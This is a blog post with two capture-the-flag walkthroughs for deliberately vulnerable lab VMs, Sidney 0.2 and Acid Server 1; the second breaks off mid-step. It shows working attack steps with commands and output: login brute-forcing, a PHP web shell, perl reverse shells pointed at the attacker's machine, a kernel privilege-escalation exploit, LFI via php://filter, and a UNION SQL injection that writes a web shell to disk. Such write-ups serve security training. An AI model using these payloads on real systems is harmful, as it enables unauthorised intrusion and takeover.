Andrew Emil's blog

Sidney: 0.2 Walkthrough

Sidney: 0.2 is a boot2root challenge created by knightmare2600 and hosted by vulnhub.

After booting the the VM, I used netdiscover to find its IP Address which was 192.168.2.113 and our machine’s one was 192.168.2.112.

Enumeration

Lets begin by scanning the VM using nmap:

Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:/# nmap -A -T4 -sV -PN -p- 192.168.2.113

Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-03 22:59 EDT
Nmap scan report for 192.168.2.113
Host is up (0.00090s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: 38911 Bytes Free
MAC Address: 08:00:27:3C:A8:1C (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.90 ms 192.168.2.113

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

So It seems that Apache web service is the only service that was up and running on the target machine, so lets visit its main index page.

Nothing was interesting here. Then, I used DirBuster to brute force directories and files names on the target web server. A commodore64/ directory and commodore64/index.php file were found as show in the figure below:

By doing a quick search on the commodore64 keyword, the Commodore 64 wikipedia page shows that It’s an 8-bit home computer introduced in January 1982 by Commodore International.

Ok, lets get back to the dirbuster results. I found that the commodore64/index.php file is actually the login page for a php file manager “PHPFM 0.2.3”.

The other result of DirBuster was the commodore64 directory where I found a really interesting information in the source code of its page.

I assumed that the above information was a hint for the login credentials to the PHPFM login page. It stated that the password for robhubbard is the C=64 sound chip lowercase and the format of the password is 3letters4digits without a space.

By getting back to the Commodore 64 wikipedia page, I found the following information:

“There are two versions of the SID "Sound Interface Device” chip: the 6581 and the 8580. The MOS Technology 6581 was used in the original (“breadbox”) C64s, the early versions of the 64C, and the Commodore 128. The 6581 was replaced with the MOS Technology 8580 in 1987.“

Since Commodore64 used “MOS Technology 6581/8580 SID chips” and the hint I have found stated that the password’s format is three lowercase letters and four digits without a space, my initial attempt was to use mos6581 and mos8580 as the passwords for the user robhubbard to login to the PHPFM, but it failed!

After a little thinking I thought that maybe the 4 digits in the password field weren’t the right ones, so my second attempt was to try all the four digits in the range starting from “6500 to 6599”.

To conduct that brute force attack, I used Burp Suite Intruder attack with the Numbers payload.

The 4-digits payload 6518 returned a different response length, and a quick check shows that mos6518 was actually the right password for the robhubbard user as shown below. Wonderful!

Remote Command Execution

My next step was to get RCE on the target server by uploading a simple php shell using the PHPFM file manager.

shell.php source code
1
<?php system($_GET['cmd']); ?>

I successfully got RCE using the uploaded script http://192.168.2.113/commodore64/shell.php?cmd=id as shown below:

After getting the PHPSESSID using Live HTTP headers firefox add-on, I continued exploiting the target using the cURL utility.

RCE
1
2
3
4
5
root@kali:~# curl -s --cookie "PHPSESSID=ejn5rmhv9vgamh31ggc4i1o3u4" "http://192.168.2.113/commodore64/shell.php?cmd=$(php -r "echo urlencode('id ;uname -a;pwd;which nc;which wget;which perl;which python');")"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/commodore64
/usr/bin/perl

Then I used the perl-reverse-shell which is provided by pentestmonkey.net to get an interactive shell on the target system.

Basic modifications in the perl reverse shell:

Modification to the perl-reverse-shell
1
2
3
# Where to send the reverse shell.  Change these.
my $ip = '192.168.2.112'; #Our kali's ip address
my $port = 443;

After uploading the perl-reverse-shell “revshell.pl” using the PHPFM file manager, and while listening on port 443 on my local machine, I executed revshell.pl on the target system using the following command:

perl revshell.pl
1
root@kali:/# curl -s --cookie "PHPSESSID=ejn5rmhv9vgamh31ggc4i1o3u4" "http://192.168.2.113/commodore64/shell.php?cmd=$(php -r "echo urlencode('perl revshell.pl');")"
Interactive Shell
1
2
3
4
5
6
7
8
9
10
root@kali:/# nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.2.112] from (UNKNOWN) [192.168.2.113] 60464
 07:12:09 up  3:47,  0 users,  load average: 0.08, 0.04, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ 

Privilege Escalation

The OS version is Ubuntu 16.04 LTS and its kernel version is 16.04 LTS as shown below:

OS Information
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ uname -a
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
$ 

This version of Ubuntu 16.04 LTS and its associated kernel 4.4.0-21-generic are suffered from a UAF via double-fdput() in bpf(BPF_PROG_LOAD) error path vulnerability, which can lead to a local root privilege escalation.

The description of the vulnerability report from google project zero states that: “In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime, unprivileged code can use the bpf() syscall to load eBPF socket filter programs. These conditions are fulfilled in Ubuntu 16.04.”

Also, an exploit is available with the vulnerability report, and it’s hosted on exploit-db as well.

Once again, I uploaded the exploit “exploit.tar” to the target server using the PHPFM file manager, extracted the tar file, compiled the exploit “./compile.sh”, executed the exploit “./doubleput”, and root privileges were obtained as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ cd ebpf_mapfd_doubleput_exploit/
$ ls
compile.sh
doubleput.c
hello.c
suidhelper.c
$ ./compile.sh
$ ls
compile.sh
doubleput
doubleput.c
hello
hello.c
suidhelper
suidhelper.c
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
pwd && ls -la
/root
total 84
drwx------  3 root     root      4096 May 25 18:40 .
drwxr-xr-x 23 root     root      4096 May 31 20:39 ..
-rw-r--r--  1 root     root      3106 Oct 22  2015 .bashrc
dr--------  3 root     root      4096 May 24 21:02 .commodore64
-rw-r--r--  1 root     root       148 Aug 17  2015 .profile
-rw-rw-r--  1 rhubbard rhubbard 62464 May 24 21:27 hint.gif

Capturing the flag

By following the .commodore64 directory tree, I found two files under the /root/.commodore64/.miami/vice directory: flag.zip and versatile_commodore_emulator.

1
2
3
4
5
6
7
8
pwd
/root/.commodore64/.miami/vice
ls -la
total 12
dr-------- 2 root     root     4096 May 25 18:40 .
dr-------- 3 root     root     4096 May 24 21:01 ..
-r-------- 1 rhubbard rhubbard 4089 May 24 20:59 flag.zip
-r-------- 1 root     root        0 May 24 21:02 versatile_commodore_emulator

The flag.zip file was password protected, so I copied it to the /var/www/html/ directory, hence I can download it to my local machine through the web service.

1
2
3
4
5
6
7
8
9
cp flag.zip /var/www/html/
chmod 777 /var/www/html/flag.zip
ls -la /var/www/html
total 20
drwxr-xr-x 3 root     root     4096 Jun  4 07:48 .
drwxr-xr-x 3 root     root     4096 May 23 18:30 ..
drwxr-xr-x 8 www-data www-data 4096 Jun  4 07:40 commodore64
-rwxrwxrwx 1 root     root     4089 Jun  4 07:48 flag.zip
-rw-r--r-- 1 www-data www-data  278 May 24 20:35 index.html

Then, I used fcrackzip along with rockyou.txt wordlist to crack the flag.zip password file. The password was successfully found 38911 as shown below:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# fcrackzip -v -D -u -p rockyou.txt flag.zip
found file 'flag.d64', (size cp/uc   3923/174848, flags 9, chk 9be5)
checking pw budayday

PASSWORD FOUND!!!!: pw == 38911
root@kali:~# unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.d64 password:
  inflating: flag.d64
root@kali:~# file flag.d64
flag.d64: D64 Image

A quick search shows that D64 Image is a Commodore64 Disk Image, and it can be attached under the Versatile Commodore Emulator. So it appears that the file I have found earlier versatile_commodore_emulator was just a hint that I will need to use that emulator to get the flag.

I downloaded the VICE Emulator source code, and found a tutorial on how to install and use the VICE Emulator.

I used the following commands to install the VICE Emulator on my machine:

Versatile Commodore Emulator Installation
1
2
3
4
apt-get install vice
tar vzxf vice-2.4.tar.gz
cp -r vice-2.4/data/* /usr/lib/vice/
chown -R root /usr/lib/vice

Then I used the x64 flag.d64 command to “autoload” the flag.d64 image from the command line and captured the flag as shown below:

1
x64 flag.d64

Finally, I would like to thank knightmare2600 for creating the VM, and VulnHub for hosting it.

Acid Server:1 Walkthrough

Acid Server is a boot2root challenge built by @m_avinash143 and hosted by vulnhub. The challenge is completely focused on web exploitation and the end goal is to escalate the privileges to root and capture the flag.

This walkthrough shows how I solved the challenge, so lets get started.

After booting Acid Server and Kali Linux on virtual box (Bridged Adapter), I used netdiscover to find the ip address of Acid server:

Netdiscover
1
2
3
4
5
6
7
8
9
10
11
root@kali:~# netdiscover -i eth0 -r 192.168.2.0/24

Currently scanning: Finished!   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
 -----------------------------------------------------------------------------
 192.168.2.1     80:1f:02:fa:e0:68    01    060   Unknown vendor
 192.168.2.101   60:36:dd:a2:0c:56    01    060   Unknown vendor
 192.168.2.102   08:00:27:ab:54:a5    01    060   CADMUS COMPUTER SYSTEMS

So, Acid’s ip address is 192.168.2.102 and our kali’s ip address is 192.168.2.108 as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4b:6e:05
          inet addr:192.168.2.108  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4b:6e05/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:16990 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18055 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:14682497 (14.0 MiB)  TX bytes:2634672 (2.5 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:560 errors:0 dropped:0 overruns:0 frame:0
          TX packets:560 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:4029744 (3.8 MiB)  TX bytes:4029744 (3.8 MiB)

Enumeration

Lets find what services are running on Acid using nmap:

Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~# nmap -sS -p- -A -T5 192.168.2.102

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-23 12:14 EDT
Nmap scan report for 192.168.2.102
Host is up (0.00053s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-title: /Challenge
MAC Address: 08:00:27:AB:54:A5 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms 192.168.2.102

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.97 seconds

Nmap found that apache web server is running on port 33447, so lets visit the main page for the web service http://192.168.2.102:33447/

My next destination was DirBuster to find hidden directories or files that might be interesting:

Note: I used directory-list-2.3-medium.txt wordlist which is located in /usr/share/dirbuster/wordlists/

So, DirBuster has found the “/Challenge” directory, and the index page of this directory is a login form as we can see:

Lets view the page source to see if we can identify the script behind this login form:

And examining form.js script as well:

form.js
1
2
3
4
/* * Copyright (C) 2013 peredur.net * * This program is free software: you can redistribute it and/or modify * it under the terms of the
 GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details.
 * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */

After searching for the login script in google using keywords “secure login peredur.net”, I found its main github repository and the default dabtabase is configured with a default user “test_user” as we can see in the description of the github repo, so lets try to login using these credentials:

snippet from phpsecurelogin repo
1
2
3
The code to create and populate the necessary tables is included in the 'secure_login.sql' file. It populates the members table with a single user with the following details:

Username : test_user Email : test@example.com Password : 6ZaxN2Vzm9NUJT2y

After logging into the admin panel using the test_user credentials, there is a sec_session_id cookie assigned after a successful login which I will use later when I continue exploitation using the cURL utility.

After we login, we are directed to http://192.168.2.102:33447/Challenge/protected_page.php :

And we can see the assigned session cookie using Live Http Headers firefox add-on:

Set-Cookie: sec_session_id=64uk8pthsvr3939mm9joa5u254; path=/; HttpOnly

The “Click Here to Proceed Further” link direct us to http://192.168.2.102:33447/Challenge/include.php, which is a php script that allows us to include any readable file by the apache’s user in the system.

In another words we have Local File Inclusion vulnerability in our hands, I also tried to include remote files but it didn’t work.

Lets try to read the /etc/passwd file:

1
http://192.168.2.102:33447/Challenge/include.php?file=%2Fetc%2Fpasswd&add=Extract+File

So, This is an absolute path LFI.

At this point, I tried to get RCE using the LFI vulnerability by using apache log poisoning method, reading /proc/self/environ, or any logs in the apache’s file descriptors, but it seems that the apache user doesn’t have any read access on those files and only php://filter meta-wrapper worked which is very useful for further enumeration of any readable files in the target system.

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening, and forces PHP to base64 encode the file before it is used in the include statement, so we can examine its source code.

There is only one readable file descriptor /proc/self/fd/14 which I found using BurbSuit(Intruder attack combined with Numbers payload) and by brutefocing the file descriptor number utilizing the include.php script, but I found later after enumerating the files in the web server that this file descriptor only contains php session variables which aren’t controlable by any mean, so it was useless.

Files Enumeration using PHP://filter

Lets go to the next step and start enumerating the underlying files in the current directory, and we will start by include.php:

bas64 of include.php source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# curl -s --cookie "sec_session_id=pdn8qkd0v8ukgpdpcip10n00b5" http://192.168.2.102:33447/Challenge/include.php?file=$(php -r "echo urlencode('php://filter/convert.base64-encode/resource=include.php');") | sed  '/<html>/,/*/d' | cut -d '<' -f 1

PD9waHAKaW5jbHVkZV9vbmNlICdpbmNsdWRlcy9kYl9jb25uZWN0LnBocCc7CmluY2x1ZGVfb25jZSAnaW5jbHVkZXMvZnVuY3Rpb25zLnBocCc7CgpzZWNfc2Vzc2lvbl9zdGF
ydCgpOwokX1NFU1NJT05bJ2xvbCddPXRpbWUoKTsKCmlmICghaXNzZXQoJF9TRVNTSU9OWydwcm90ZWN0ZWRfcGFnZSddKSl7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogcH
JvdGVjdGVkX3BhZ2UucGhwJyk7CiAgICAgICAgZXhpdDsKfQppZiAoIWlzc2V0KCRfU0VTU0lPTlsnaW5kZXhfcGFnZSddKSl7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogc
HJvdGVjdGVkX3BhZ2UucGhwJyk7CiAgICAgICAgZXhpdDsKfQo/PgoKPD9waHAgCiRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsKaW5jbHVkZSgkZmlsZSk7Cj8+CjwhRE9DVFlQRSBo
dG1sPgo8aHRtbD4KICAgICAgICA8aGVhZD4KICAgICAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgICAgICAgICAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGV
ldCIgaHJlZj0iY3NzL3N0eWxlLmNzcyI+CiAgICAgICAgICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9InN0eWxlcy9tYWluLmNzcyIgLz4KICAgICAgICAgIC
AgICAgIDx0aXRsZT5UcnkgdG8gRXh0cmFjdCBKdWljeSBkZXRhaWxzPC90aXRsZT4KICAgICAgICA8L2hlYWQ+CiAgICAgICAgPGJvZHk+CiAgICAgICAgICAgICAgICA8ZGl2I
GNsYXNzPSJ3cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJCTxwPiA8aDE+SG1tLi4uSXQgbG9va3MgbGlrZSB0aGF0
IHlvdSBrbm93IHlvdXIgdGhpbmdzPC9oMT4gPGJyPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9ImdldCIgYWN0aW9uPSI8P3BocCAkX1B
IUF9TRUxGID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFbnRlciB0aGUgRmlsZSBuYW1lOjxpbnB1dCBuYW1lPSJmaWxlIiBwbGFjZWhvbGRlcj0iRmlsZS
BOYW1lIiB0eXBlPSJ0ZXh0IiBpZD0iaWQiIG1heGxlbmd0aD0iMjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJhZGQiIHR5cGU9InN1Y
m1pdCIgaWQ9ImFkZCIgdmFsdWU9IkV4dHJhY3QgRmlsZSI+CiAgPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CjwhLS0weDU5MzM1NjZhNGM2ZTRhMzQ2MjZlNDEzZC0tPgo=

Note: In the cURL command, I used urlencode() function in php to send urlencoded input in the “file” GET variable. I also used sed and cut commands to get rid of the html code in the output.

After decoding the base64 of the include.php source code, nothing useful was found except that we can see how our files are included in the script using include($file);:

include.php source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@kali:~# echo PD9waHAKaW5jbHVkZV9vbmNlICdpbmNsdWRlcy9kYl9jb25uZWN0LnBocCc7CmluY2x1ZGVfb25jZSAnaW5jbHVkZXMvZnVuY3Rpb25zLnBocCc7CgpzZ
WNfc2Vzc2lvbl9zdGFydCgpOwokX1NFU1NJT05bJ2xvbCddPXRpbWUoKTsKCmlmICghaXNzZXQoJF9TRVNTSU9OWydwcm90ZWN0ZWRfcGFnZSddKSl7CiAgICAgICAgaGVhZGVy
KCdMb2NhdGlvbjogcHJvdGVjdGVkX3BhZ2UucGhwJyk7CiAgICAgICAgZXhpdDsKfQppZiAoIWlzc2V0KCRfU0VTU0lPTlsnaW5kZXhfcGFnZSddKSl7CiAgICAgICAgaGVhZGV
yKCdMb2NhdGlvbjogcHJvdGVjdGVkX3BhZ2UucGhwJyk7CiAgICAgICAgZXhpdDsKfQo/PgoKPD9waHAgCiRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsKaW5jbHVkZSgkZmlsZSk7Cj
8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KICAgICAgICA8aGVhZD4KICAgICAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgICAgICAgICAgICAgIDxsaW5rI
HJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL3N0eWxlLmNzcyI+CiAgICAgICAgICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9InN0eWxlcy9tYWluLmNzcyIg
Lz4KICAgICAgICAgICAgICAgIDx0aXRsZT5UcnkgdG8gRXh0cmFjdCBKdWljeSBkZXRhaWxzPC90aXRsZT4KICAgICAgICA8L2hlYWQ+CiAgICAgICAgPGJvZHk+CiAgICAgICA
gICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJCTxwPiA8aDE+SG1tLi4uSXQgbG
9va3MgbGlrZSB0aGF0IHlvdSBrbm93IHlvdXIgdGhpbmdzPC9oMT4gPGJyPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9ImdldCIgYWN0a
W9uPSI8P3BocCAkX1BIUF9TRUxGID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFbnRlciB0aGUgRmlsZSBuYW1lOjxpbnB1dCBuYW1lPSJmaWxlIiBwbGFj
ZWhvbGRlcj0iRmlsZSBOYW1lIiB0eXBlPSJ0ZXh0IiBpZD0iaWQiIG1heGxlbmd0aD0iMjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJ
hZGQiIHR5cGU9InN1Ym1pdCIgaWQ9ImFkZCIgdmFsdWU9IkV4dHJhY3QgRmlsZSI+CiAgPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCjwhLS0weDU5MzM1NjZhNGM2ZTRhMzQ2MjZlNDEzZC0tPgo= | base64 --decode
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();
$_SESSION['lol']=time();

if (!isset($_SESSION['protected_page'])){
        header('Location: protected_page.php');
        exit;
}
if (!isset($_SESSION['index_page'])){
        header('Location: protected_page.php');
        exit;
}
?>

<?php
$file = $_GET['file'];
include($file);
?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="UTF-8">
                <link rel="stylesheet" href="css/style.css">
                <link rel="stylesheet" href="styles/main.css" />
                <title>Try to Extract Juicy details</title>
        </head>
        <body>
                <div class="wrapper">
                        <div class="container">
              <p> <h1>Hmm...It looks like that you know your things</h1> <br>
                                <form method="get" action="<?php $_PHP_SELF ?>">
                                Enter the File name:<input name="file" placeholder="File Name" type="text" id="id" maxlength="20">
                                <input name="add" type="submit" id="add" value="Extract File">
  </body>
</html>

Lets proceed with examining the source code of the protected_page.php scirpt:

protected_page.php source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@kali:~# curl -s --cookie "sec_session_id=pdn8qkd0v8ukgpdpcip10n00b5" http://192.168.2.102:33447/Challenge/include.php?file=$(php -r "echo urlencode('php://filter/convert.base64-encode/resource=protected_page.php');") | sed  '/<html>/,/*/d' | cut -d '<' -f 1 | base64 --decode
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();
$_SESSION['protected_page']=time();

?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
      <link rel="stylesheet" href="css/style.css">
        <link rel="stylesheet" href="styles/main.css" />
        <title>Secure Login: Protected Page</title>
    </head>
    <body>
   <div class="wrapper">
                <div class="container">
              <?php
          $host = getenv("HTTP_HOST");
          $ref = getenv("HTTP_REFERER");
          $ref1 = "http://"."$host/Challenge/includes/process_login.php";
          ?>

          <?php if (login_check($mysqli) == true): ?>

          <p><h1> You have been logged into admin Panel Successfully.</h1> <br>
          <p><h3>You are close to your destination :-) <a href="include.php">Click Here to Proceed Further</a>.</h3></p>
              <p><h3>If you are done, please <a href="includes/logout.php">log out</a>.</h3></p>

          <?php elseif ($ref == $ref1): ?>
              <p> <h1>Congrats..! You have bypassed User Panel Successfully.</h1> <br>
              <p><h3>There is long way to go :-) <a href="hacked.php">Click Here to Proceed Further</a>.</h3></p>

              <p><h3>If you are done, please <a href="includes/logout.php">log out</a>.</h3></p>

          <?php else: ?>
          <p><h1><font color='Red'>You are not authorized to access this page.</h1></font><br><font color='Green'>Please <a href="index.php">login</a></font></br>.</p>
          <?php endif; ?>
    </body>
</html>

A very interesting php script named hacked.php is found in the elseif statement, lets point our browser to it:

Ok, lets examine its source code to see what is actually happening inside that scirpt:

hacked.php source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
root@kali:~# curl -s --cookie "sec_session_id=64uk8pthsvr3939mm9joa5u254" http://192.168.2.102:33447/Challenge/include.php?file=$(php -r "echo urlencode('php://filter/convert.base64-encode/resource=hacked.php');") | sed  '/<html>/,/*/d' | cut -d '<' -f 1 | base64 --decode
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();

if (!isset($_SESSION['protected_page'])){
  header('Location: protected_page.php');
  exit;
}
if (!isset($_SESSION['index_page'])){
  header('Location: protected_page.php');
  exit;
}
?>
<!DOCTYPE html>
<html>
  <head>
      <meta charset="UTF-8">
      <link rel="stylesheet" href="css/style.css">
      <link rel="stylesheet" href="styles/main.css" />
      <title>Try to Extract Juicy details</title>
  </head>
  <body>
      <div class="wrapper">
                  <div class="container">
              <?php
              if(isset($_REQUEST['add']))
              {
              $dbhost = 'localhost';
              $dbuser = 'root';
              $dbpass = 'mehak';
              $conn = mysql_connect($dbhost, $dbuser, $dbpass);
              if(! $conn )
              {
                      die('Could not connect: ' . mysql_error());
              }

              $id = $_POST['id'];
              $sql = "SELECT * FROM members WHERE ID = (('$id'))";
              mysql_select_db('secure_login');
              $retval = mysql_query( $sql, $conn );
              if(! $retval )
              {
                      die('Could not enter data: ' . mysql_error());
              }
                  echo "You have entered ID successfully...Which is not a big deal :D\n";
              mysql_close($conn);
              }
              ?>
                  <p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br>
              <form method="get" action="<?php $_PHP_SELF ?>">
              Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
              <input name="add" type="submit" id="add" value="Add ID">

              </body>
              </html>

So, after examining the source code of hacked.php, we can see that the mysql query takes the id parameter which is sent through HTTP POST data , and not the one sent through HTTP GET data, and just select a row that matches that id, then it just prints “You are going Good…Show me your Ninja Skills”.

UNION based SQL Injection

That mysql query is vulnerable to union based sql injection and we can use SELECT .. INTO OUTFILE to write simple php shell in the /tmp directory to get remote command execution on the target machine.

The UNION operator combines the result of the two sql queries and it requires that they have the same number of columns.

By reading the secure_login.sql file in the github repo of the login script, we can see that there are 5 columns per record in the members table.

The final payload will look like the following:

SQL Injection Payload
1
id=')) UNION SELECT "<?php system($_GET['cmd']); ?>",2,3,4,5 INTO OUTFILE '/tmp/shell.php'-- -

Lets fire up cURL again:

creating php shell inlink
1
curl -s --cookie "sec_session_id=pdn8qkd0v8ukgpdpcip10n00b5" --data "id=')) UNION SELECT '<?php system(%24_GET[\'cmd\']); ?>',2,3,4,5 INTO OUTFILE '/tmp/shell.php'-- -" "http://192.168.2.102:33447/Challenge/hacked.php?id=1&add=Add+ID"

We can simply use the hackbar firefox add-on instead of cURL to execute that payload as well:

Remote Command Execution

By including our shell.php using include.php, we can execute any command under the privileges of the www-data user:

1
2
3
4
5
6
7
8
9
root@kali:~# curl -s --cookie "sec_session_id=64uk8pthsvr3939mm9joa5u254" "http://192.168.2.102:33447/Challenge/include.php?file=/tmp/shell.php&cmd=$(php -r "echo urlencode('id ;uname -a;pwd;which nc;which wget;which perl;which python');")" | sed  '/<!DOCTYPE html>/,/*/d'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
/var/www/html/Challenge
/bin/nc
/usr/bin/perl
/usr/bin/python
  2   3   4   5

Wonderful!

Note that wget isn’t available in the target system.

It’s the time for an interactive shell:

We will use perl-reverse-shell provided by pentestmonkey.net after modifying the ip address and port number in the perl script, and we will use netcat to transfer the shell because wget isn’t available in the target system.

Basic modifications in the perl reverse shell:

Modification to the perl-reverse-shell
1
2
3
# Where to send the reverse shell.  Change these.
my $ip = '192.168.2.108'; #Our kali's ip address
my $port = 4444;

lets upload it to Acid server, on our local machine:

1
2
root@kali:~# nc -nvlp 7777 < revshell.pl
listening on [any] 7777 ...

And on another terminal:

1
root@kali:~# curl -s --cookie "sec_session_id=64uk8pthsvr3939mm9joa5u254" "http://192.168.2.102:33447/Challenge/include.php?file=/tmp/shell.php&cmd=$(php -r "echo urlencode('cd /tmp;nc 192.168.2.108 7777 > revshell.pl');")" | sed  '/<!DOCTYPE html>/,/*/d'

Ok, after transferring the shell and while listening on port 4444 on our local machine, we execute revshell.pl on the target system using the following command:

1
